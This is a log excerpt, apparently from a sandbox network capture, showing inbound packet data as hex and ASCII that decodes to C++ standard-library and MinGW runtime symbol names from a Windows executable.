2022-07-20 08:32:59 UTC	3250	IN	Data Raw: 24 5f 5a 4e 4b 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 33 67 65 74 45 53 33 5f 53 33 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 53 62 49 77 53 32 5f 53 61 49 77 45 45 00 5f 5f 5a 4e 4b 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 33 67 65 74 45 53 33 5f 53 33 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 53 62 49 77 53 32 5f 53 61 49 77 45 45 00 2e 74 65 78 74 24 5f 5a 4e 53 74 39 6d 6f 6e Data Ascii: $_ZNKSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_bRSt8ios_baseRSt12_Ios_IostateRSbIwS2_SaIwEE__ZNKSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_bRSt8ios_baseRSt12_Ios_IostateRSbIwS2_SaIwEE.text$_ZNSt9mon
2022-07-20 08:32:59 UTC	3266	IN	Data Raw: 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 5f 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 64 61 74 61 24 5f 5a 4e 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 32 69 64 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 Data Ascii: 11char_traitsIwEEEERKT_RKSt6locale__ZSt9use_facetISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale.data$_ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE.rdata$_ZTISt9money_getIwSt19istreambuf_iteratorIwSt11c
2022-07-20 08:32:59 UTC	3267	IN	Data Raw: 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 5f 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 53 74 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 64 61 74 61 24 5f 5a 4e 53 74 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 32 69 64 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 53 74 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 Data Ascii: t11char_traitsIwEEEERKT_RKSt6locale__ZSt9use_facetISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale.data$_ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE.rdata$_ZTISt8time_getIwSt19istreambuf_iteratorIwSt11cha
2022-07-20 08:32:59 UTC	3283	IN	Data Raw: 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 36 64 6f 5f 67 65 74 45 53 33 5f 53 33 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 53 62 49 77 53 32 5f 53 61 49 77 45 45 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 33 67 65 74 45 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 50 32 74 6d 50 4b 77 53 43 5f 00 5f 5f 5a 4e 4b 53 74 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 Data Ascii: y_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_bRSt8ios_baseRSt12_Ios_IostateRSbIwS2_SaIwEE.text$_ZNKSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateP2tmPKwSC___ZNKSt8time_getIwSt19ist
2022-07-20 08:32:59 UTC	3284	IN	Data Raw: 49 77 45 32 69 64 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 37 63 6f 6c 6c 61 74 65 49 77 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 31 34 63 6f 6c 6c 61 74 65 5f 62 79 6e 61 6d 65 49 77 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 53 74 31 34 63 6f 6c 6c 61 74 65 5f 62 79 6e 61 6d 65 49 77 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 38 6e 75 6d 70 75 6e 63 74 49 77 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 31 35 6e 75 6d 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 45 00 2e 72 64 61 74 61 24 5f 5a 54 49 53 74 31 35 6e 75 6d 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 45 00 2e 72 64 61 74 61 24 5f 5a 54 53 53 74 37 6e 75 6d 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 Data Ascii: IwE2idE.rdata$_ZTSSt7collateIwE.rdata$_ZTSSt14collate_bynameIwE.rdata$_ZTISt14collate_bynameIwE.rdata$_ZTSSt8numpunctIwE.rdata$_ZTSSt15numpunct_bynameIwE.rdata$_ZTISt15numpunct_bynameIwE.rdata$_ZTSSt7num_getIwSt19istreambuf_iteratorIwSt11char_trait
2022-07-20 08:32:59 UTC	3300	IN	Data Raw: 30 45 45 38 5f 4d 5f 63 61 63 68 65 45 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 53 74 39 6d 6f 6e 65 79 5f 70 75 74 49 77 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 53 74 31 Data Ascii: 0EE8_M_cacheERKSt6locale.eh_frame$_ZSt9use_facetISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale.eh_frame$_ZSt9use_facetISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale.eh_frame$_ZSt9use_facetISt1
2022-07-20 08:32:59 UTC	3301	IN	Data Raw: 72 61 69 74 73 49 77 45 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 77 4c 62 30 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 53 74 39 6d 6f 6e 65 79 5f 70 75 74 49 77 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 53 74 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f Data Ascii: raitsIwEEEEbRKSt6locale.eh_frame$_ZSt9has_facetISt10moneypunctIwLb0EEEbRKSt6locale.eh_frame$_ZSt9has_facetISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale.eh_frame$_ZSt9has_facetISt9money_getIwSt19istreambuf_iteratorIwSt11char_
2022-07-20 08:32:59 UTC	3317	IN	Data Raw: 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 61 53 45 77 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 61 53 45 77 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 6a 6a 77 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 6a 6a 77 Data Ascii: t$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEaSEw__ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEaSEw.text$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE6insertEjjw__ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE6insertEjjw
2022-07-20 08:32:59 UTC	3318	IN	Data Raw: 65 72 61 74 6f 72 49 50 4b 77 53 34 5f 45 45 6a 77 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 30 5f 4d 5f 72 65 70 6c 61 63 65 45 6a 6a 50 4b 77 6a 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 30 5f 4d 5f 72 65 70 6c 61 63 65 45 6a 6a 50 4b 77 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 61 73 73 69 67 6e 45 52 4b 53 34 5f 6a 6a 00 5f 5f 5a 4e 53 74 37 5f 5f Data Ascii: eratorIPKwS4_EEjw.text$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE10_M_replaceEjjPKwj__ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE10_M_replaceEjjPKwj.text$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE6assignERKS4_jj__ZNSt7__
2022-07-20 08:32:59 UTC	3334	IN	Data Raw: 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 45 45 45 62 52 4b 4e 53 5f 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 54 5f 54 30 5f 45 45 53 44 5f 00 2e 74 65 78 74 24 5f 5a 4e 39 5f 5f 67 6e 75 5f 63 78 78 65 71 49 50 4b 77 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 45 45 45 62 52 4b 4e 53 5f 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 54 5f 54 30 5f 45 45 53 45 5f 00 5f 5f 5a 4e 39 5f 5f 67 6e 75 5f 63 78 78 65 71 49 50 4b 77 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 45 45 45 62 52 Data Ascii: t11char_traitsIwESaIwEEEEEbRKNS_17__normal_iteratorIT_T0_EESD_.text$_ZN9__gnu_cxxeqIPKwNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEEEEbRKNS_17__normal_iteratorIT_T0_EESE___ZN9__gnu_cxxeqIPKwNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEEEEbR
2022-07-20 08:32:59 UTC	3335	IN	Data Raw: 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 33 5f 53 5f 63 6f 70 79 5f 63 68 61 72 73 45 50 77 53 35 5f 53 35 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 33 5f 53 5f 63 6f 70 79 5f 63 68 61 72 73 45 50 77 50 4b 77 53 37 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 31 30 5f 53 5f 63 6f 6d 70 61 72 65 45 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e Data Ascii: St7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE13_S_copy_charsEPwS5_S5_.eh_frame$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE13_S_copy_charsEPwPKwS7_.eh_frame$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE10_S_compareEjj.eh_frame$_ZN
2022-07-20 08:32:59 UTC	3351	IN	Data Raw: 65 78 63 65 70 74 69 6f 6e 00 5f 5f 47 4c 4f 42 41 4c 5f 5f 73 75 62 5f 49 5f 5f 5a 4e 39 5f 5f 67 6e 75 5f 63 78 78 39 5f 5f 66 72 65 65 72 65 73 45 76 00 5f 5f 5f 63 78 61 5f 61 6c 6c 6f 63 61 74 65 5f 65 78 63 65 70 74 69 6f 6e 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 34 70 6f 6f 6c 34 66 72 65 65 45 50 76 2e 63 6f 6e 73 74 70 72 6f 70 2e 32 00 2e 74 65 78 74 24 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 34 70 6f 6f 6c 34 66 72 65 65 45 50 76 2e 63 6f 6e 73 74 70 72 6f 70 2e 32 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 4e 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 34 70 6f 6f 6c 38 61 6c 6c 6f 63 61 74 65 45 6a 2e 63 6f 6e 73 74 70 72 6f 70 2e 33 00 2e 74 65 78 74 24 5f 5a 4e Data Ascii: exception__GLOBAL__sub_I__ZN9__gnu_cxx9__freeresEv___cxa_allocate_exception.text.unlikely._ZN12_GLOBAL__N_14pool4freeEPv.constprop.2.text$_ZN12_GLOBAL__N_14pool4freeEPv.constprop.2.text.unlikely._ZN12_GLOBAL__N_14pool8allocateEj.constprop.3.text$_ZN
2022-07-20 08:32:59 UTC	3352	IN	Data Raw: 74 5f 65 78 63 65 70 74 69 6f 6e 5f 70 74 72 00 2e 74 65 78 74 24 5f 5f 63 78 61 5f 62 65 67 69 6e 5f 63 61 74 63 68 00 2e 74 65 78 74 24 5f 5f 63 78 61 5f 65 6e 64 5f 63 61 74 63 68 00 2e 74 65 78 74 24 5f 5a 53 74 31 38 75 6e 63 61 75 67 68 74 5f 65 78 63 65 70 74 69 6f 6e 76 00 2e 74 65 78 74 24 5f 5a 53 74 31 39 75 6e 63 61 75 67 68 74 5f 65 78 63 65 70 74 69 6f 6e 73 76 00 5f 5f 5a 4e 53 74 39 65 78 63 65 70 74 69 6f 6e 44 32 45 76 00 5f 5f 5a 4e 53 74 39 65 78 63 65 70 74 69 6f 6e 44 31 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 64 5f 65 78 63 65 70 74 69 6f 6e 44 32 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 64 5f 65 78 63 65 70 74 69 6f 6e 44 31 45 76 00 5f 5f 5a 4e 4b 53 74 39 65 78 63 65 70 74 69 6f 6e 34 77 68 61 74 45 76 00 5f 5f 5a 47 54 74 4e 4b 53 Data Ascii: t_exception_ptr.text$__cxa_begin_catch.text$__cxa_end_catch.text$_ZSt18uncaught_exceptionv.text$_ZSt19uncaught_exceptionsv__ZNSt9exceptionD2Ev__ZNSt9exceptionD1Ev__ZNSt13bad_exceptionD2Ev__ZNSt13bad_exceptionD1Ev__ZNKSt9exception4whatEv__ZGTtNKS
2022-07-20 08:32:59 UTC	3368	IN	Data Raw: 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 34 5f 45 45 77 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 36 69 6e 73 65 72 74 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 34 5f 45 45 77 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 37 72 65 70 6c 61 63 65 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d Data Ascii: ar_traitsIwESaIwEE6insertEN9__gnu_cxx17__normal_iteratorIPwS4_EEw__ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE6insertEN9__gnu_cxx17__normal_iteratorIPwS4_EEw.text$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE7replaceEN9__gnu_cxx17__norm
2022-07-20 08:32:59 UTC	3369	IN	Data Raw: 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 34 5f 45 45 53 38 5f 6a 77 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 37 72 65 70 6c 61 63 65 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 34 5f 45 45 53 38 5f 53 37 5f 53 37 5f 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 53 61 49 77 45 45 37 72 65 70 6c 61 63 65 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 77 53 34 5f 45 45 53 38 5f 53 37 5f Data Ascii: 7__normal_iteratorIPwS4_EES8_jw.text$_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE7replaceEN9__gnu_cxx17__normal_iteratorIPwS4_EES8_S7_S7___ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE7replaceEN9__gnu_cxx17__normal_iteratorIPwS4_EES8_S7_
2022-07-20 08:32:59 UTC	3385	IN	Data Raw: 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 45 00 2e 74 65 78 74 24 5f 5a 47 54 74 4e 53 74 31 32 6f 75 74 5f 6f 66 5f 72 61 6e 67 65 44 31 45 76 00 2e 74 65 78 74 24 5f 5a 47 54 74 4e 53 74 31 32 6f 75 74 5f 6f 66 5f 72 61 6e 67 65 44 30 45 76 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 47 54 74 4e 53 74 31 33 72 75 6e 74 69 6d 65 5f 65 72 72 6f 72 43 31 45 50 4b 63 00 2e 74 65 78 74 24 5f 5a 47 54 74 4e 53 74 31 33 72 75 6e 74 69 6d 65 5f 65 72 72 6f 72 43 31 45 50 4b 63 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 47 54 74 4e 53 74 31 33 72 75 6e 74 69 6d 65 5f 65 72 72 6f 72 43 31 45 52 4b 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 Data Ascii: traitsIcESaIcEEE.text$_ZGTtNSt12out_of_rangeD1Ev.text$_ZGTtNSt12out_of_rangeD0Ev.text.unlikely._ZGTtNSt13runtime_errorC1EPKc.text$_ZGTtNSt13runtime_errorC1EPKc.text.unlikely._ZGTtNSt13runtime_errorC1ERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaI
2022-07-20 08:32:59 UTC	3386	IN	Data Raw: 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 45 00 2e 74 65 78 74 24 5f 5a 47 54 74 4e 53 74 31 34 6f 76 65 72 66 6c 6f 77 5f 65 72 72 6f 72 44 31 45 76 00 2e 74 65 78 74 24 5f 5a 47 54 74 4e 53 74 31 34 6f 76 65 72 66 6c 6f 77 5f 65 72 72 6f 72 44 30 45 76 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 47 54 74 4e 53 74 31 35 75 6e 64 65 72 66 6c 6f 77 5f 65 72 72 6f 72 43 31 45 50 4b 63 00 2e 74 65 78 74 24 5f 5a 47 54 74 4e 53 74 31 35 75 6e 64 65 72 66 6c 6f 77 5f 65 72 72 6f 72 43 31 45 50 4b 63 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 47 54 74 4e 53 74 31 35 75 6e 64 65 72 66 6c 6f 77 5f 65 72 72 6f 72 43 31 45 52 4b 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 Data Ascii: traitsIcESaIcEEE.text$_ZGTtNSt14overflow_errorD1Ev.text$_ZGTtNSt14overflow_errorD0Ev.text.unlikely._ZGTtNSt15underflow_errorC1EPKc.text$_ZGTtNSt15underflow_errorC1EPKc.text.unlikely._ZGTtNSt15underflow_errorC1ERKNSt7__cxx1112basic_stringIcSt11char_tr
2022-07-20 08:32:59 UTC	3402	IN	Data Raw: 6e 65 73 5f 44 32 41 00 5f 5f 5f 73 74 72 74 6f 64 67 00 5f 66 69 76 65 73 62 69 74 73 00 5f 5f 5f 73 75 6d 5f 44 32 41 00 5f 5f 5f 65 73 68 69 66 74 2e 70 61 72 74 2e 33 00 5f 5f 5f 65 73 68 69 66 74 00 5f 5f 5f 65 6e 6f 72 6d 6c 7a 00 5f 5f 5f 65 6d 64 6e 6f 72 6d 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 63 76 74 00 5f 66 70 69 2e 35 37 33 36 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 70 75 74 63 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 77 70 75 74 63 68 61 72 73 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 70 75 74 63 68 61 72 73 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 70 75 74 73 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 65 6d 69 74 5f 69 6e 66 5f 6f 72 5f 6e 61 6e 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 65 6d 69 74 5f 72 61 64 69 78 5f 70 6f 69 6e 74 00 5f 5f 5f 70 66 6f 72 6d 61 74 5f 65 Data Ascii: nes_D2A___strtodg_fivesbits___sum_D2A___eshift.part.3___eshift___enormlz___emdnorm___pformat_cvt_fpi.5736___pformat_putc___pformat_wputchars___pformat_putchars___pformat_puts___pformat_emit_inf_or_nan___pformat_emit_radix_point___pformat_e
2022-07-20 08:32:59 UTC	3403	IN	Data Raw: 61 72 61 6d 65 74 65 72 5f 68 61 6e 64 6c 65 72 00 69 6e 76 61 6c 69 64 5f 70 61 72 61 6d 65 74 65 72 5f 68 61 6e 64 6c 65 72 2e 63 00 5f 6d 73 76 63 72 74 5f 5f 5f 6c 63 5f 63 6f 64 65 70 61 67 65 5f 66 75 6e 63 00 5f 6d 73 76 63 72 74 5f 5f 6c 63 5f 63 6f 64 65 70 61 67 65 00 5f 73 65 74 6c 6f 63 61 6c 65 5f 63 6f 64 65 70 61 67 65 5f 68 61 63 6b 00 5f 69 6e 69 74 5f 63 6f 64 65 70 61 67 65 5f 66 75 6e 63 00 5f 5f 5f 5f 6c 63 5f 63 6f 64 65 70 61 67 65 5f 66 75 6e 63 00 5f 5f 5f 6d 69 6e 67 77 74 68 72 5f 72 65 6d 6f 76 65 5f 6b 65 79 5f 64 74 6f 72 00 5f 5f 5f 6d 69 6e 67 77 74 68 72 5f 6b 65 79 5f 64 74 6f 72 00 5f 5f 5f 46 52 41 4d 45 5f 45 4e 44 5f 5f 00 5f 72 65 67 69 73 74 65 72 5f 66 72 61 6d 65 5f 63 74 6f 72 00 2e 74 65 78 74 2e 73 74 61 72 74 Data Ascii: arameter_handlerinvalid_parameter_handler.c_msvcrt___lc_codepage_func_msvcrt__lc_codepage_setlocale_codepage_hack_init_codepage_func____lc_codepage_func___mingwthr_remove_key_dtor___mingwthr_key_dtor___FRAME_END___register_frame_ctor.text.start
